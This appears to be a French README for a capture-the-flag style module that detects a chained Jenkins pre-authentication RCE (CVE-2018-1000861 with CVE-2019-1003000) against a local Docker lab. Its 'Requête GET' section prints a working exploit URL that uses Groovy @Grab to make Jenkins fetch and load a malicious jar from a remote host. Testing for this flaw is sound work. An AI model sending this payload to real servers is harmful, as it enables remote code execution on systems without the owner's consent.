CVE-2019-1003000_RCE-DETECTION

Résumé général

En enchaînant la vulnérabilité CVE-2018-1000861 avec CVE-2019-1003000, j'ai créé un module pour tester une RCE pré-authentification sur Jenkins CI. Initialement, j'avais essayé de détecter la vulnérabilité avec un nom d'utilisateur, un mot de passe et un nom de tâche ; cependant, j'ai pensé qu'il serait plus réaliste et intéressant d'aborder ce défi en enchaînant les deux vulnérabilités.

Prérequis

Ayez Visual Studio ou le framework .NET Core installé sur votre machine Windows, Linux ou macOS.

Configuration de l'environnement (Comment j'ai procédé)

1. D'abord, j'ai récupéré la version spécifiée de Docker (d'après les instructions du défi) depuis DockerHub : docker pull jenkins/jenkins:2.121
2. Ensuite, j'ai écrit un script bash (présent dans ce dépôt) pour lancer un nouveau conteneur Docker exécutant le serveur Jenkins vulnérable et je l'ai monté en bind sur la machine locale
   • Utilisateur administrateur
     • nom d'utilisateur – Naruto
     • Mot de passe – Uzumaki
     • Nom – Naruto
3. Je me suis ensuite rendu sur plugins.index.io pour trouver des versions spécifiques de plugins à installer dans Jenkins
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • Après avoir installé les plugins, accédez à la section 'Advanced' dans 'Manage plugins' et effacez le champ Update Site, puis enregistrez pour qu'il ne se mette pas à jour automatiquement à chaque redémarrage

Exécution (Comment installer et exécuter)

1. Accédez au répertoire payload et exécutez mvDir.sh
   • Exécutez comme ./mvDir.sh
     • Il devrait déjà être marqué comme exécutable, sinon exécutez chmod +x mvDir.sh. Si cela ne fonctionne toujours pas, vous pouvez l'exécuter comme bash mvDir.sh
     • Cette commande déplacera le répertoire contenant le jar malveillant à la racine de l'ordinateur, là où la requête GET cherchera le fichier jar spécifié dans la requête malveillante.
2. Accédez à jenkins_environment et exécutez ./run_vuln_jenkins.sh
   • Suivez les instructions ci-dessus si la commande ne fonctionne pas.
   • Ce script bash exécutera le conteneur Docker qui héberge le serveur Jenkins vulnérable (sur http://localhost:8080)
   • De plus, exécuter ./run_updated_jenkins.sh ou bash run_updated_jenkins.sh lancera un serveur Jenkins sécurisé et à jour sur http://localhost:8000 ; exécuter le module contre celui-ci montrera qu'il est sécurisé et non vulnérable à CVE-2018-1000861 enchaîné avec CVE-2019-1003000.
3. Accédez à exploit-detection-code/jenkins-server-rce/
   • Ce projet a été construit avec le framework .NET Core. Pour l'exécuter, appelez d'abord la commande

Réflexions

La planification initiale que j'avais créée était un bon cadre pour la façon dont j'ai abordé la solution ; cependant, en avançant, j'ai découvert que je rendais beaucoup de travail plus compliqué qu'il ne devait l'être. J'avais initialement créé un script bash pour lancer un reverse shell vers ma machine hôte afin de prouver la RCE. Cependant, le but de ce défi était de prouver que la vulnérabilité existait. Dans ce cas, il s'agissait de prouver qu'une RCE pouvait être déclenchée sur Jenkins version 2.121.2 avec les plugins suivants : Pipeline: Declarative Plugin jusqu'à 1.3.4, Pipeline: Declarative Extension Points API jusqu'à 1.3.4, Pipeline: Groovy Plugin jusqu'à 2.61, Script Security Plugin jusqu'à 1.49.

Je n'avais pas besoin de créer réellement un reverse shell et de montrer que je pouvais lancer des commandes arbitraires. Pour cette raison, il est plus facile de détecter la vulnérabilité sur les systèmes d'exploitation Windows et .nix. Après avoir effectué la requête GET, j'ai constaté que la page répond avec un statut marqué comme succès ou affiche un message d'erreur. Cependant, pour s'assurer que le statut de succès n'était pas un faux positif, j'ai mis en place un serveur web sur mon hôte en utilisant python -m SimpleHTTPSever 80 et en lançant la requête GET personnalisée vers le fichier JAR malveillant spécifié (qui se trouve dans le dossier payload), on peut voir que la requête GET répond avec un code de statut 200 et le chemin correct vers le fichier jar trouvé sur la machine locale, prouvant ainsi l'existence de la vulnérabilité. Voici un exemple de la requête GET et de la réponse correspondante. Les différents chemins de fichiers (tw/ et www/) contiennent chacun le jar malveillant ; ce sont simplement des chemins différents que la requête parcourt pour le trouver.

Requête GET

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

Sources utilisées

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/